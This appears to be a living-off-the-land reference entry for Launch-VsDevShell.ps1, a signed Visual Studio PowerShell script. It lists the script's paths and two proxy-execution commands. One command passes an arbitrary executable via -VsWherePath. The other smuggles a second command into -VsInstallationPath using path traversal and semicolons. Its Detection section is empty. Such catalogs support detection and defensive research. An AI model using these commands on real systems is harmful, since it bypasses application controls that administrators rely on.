Launch-VsDevShell.ps1

Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet

Paths

  • C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\Launch-VsDevShell.ps1
  • C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Launch-VsDevShell.ps1

Commands

Execute

Execute binaries from the context of the signed script using the "VsWherePath" flag.

Use case: Proxy execution

Privileges: User

powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}

Execute

Execute binaries and commands from the context of the signed script using the "VsInstallationPath" flag.

Use case: Proxy execution

Privileges: User

powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath "/../../../../../; {PATH:.exe} ;"

Detection

Resources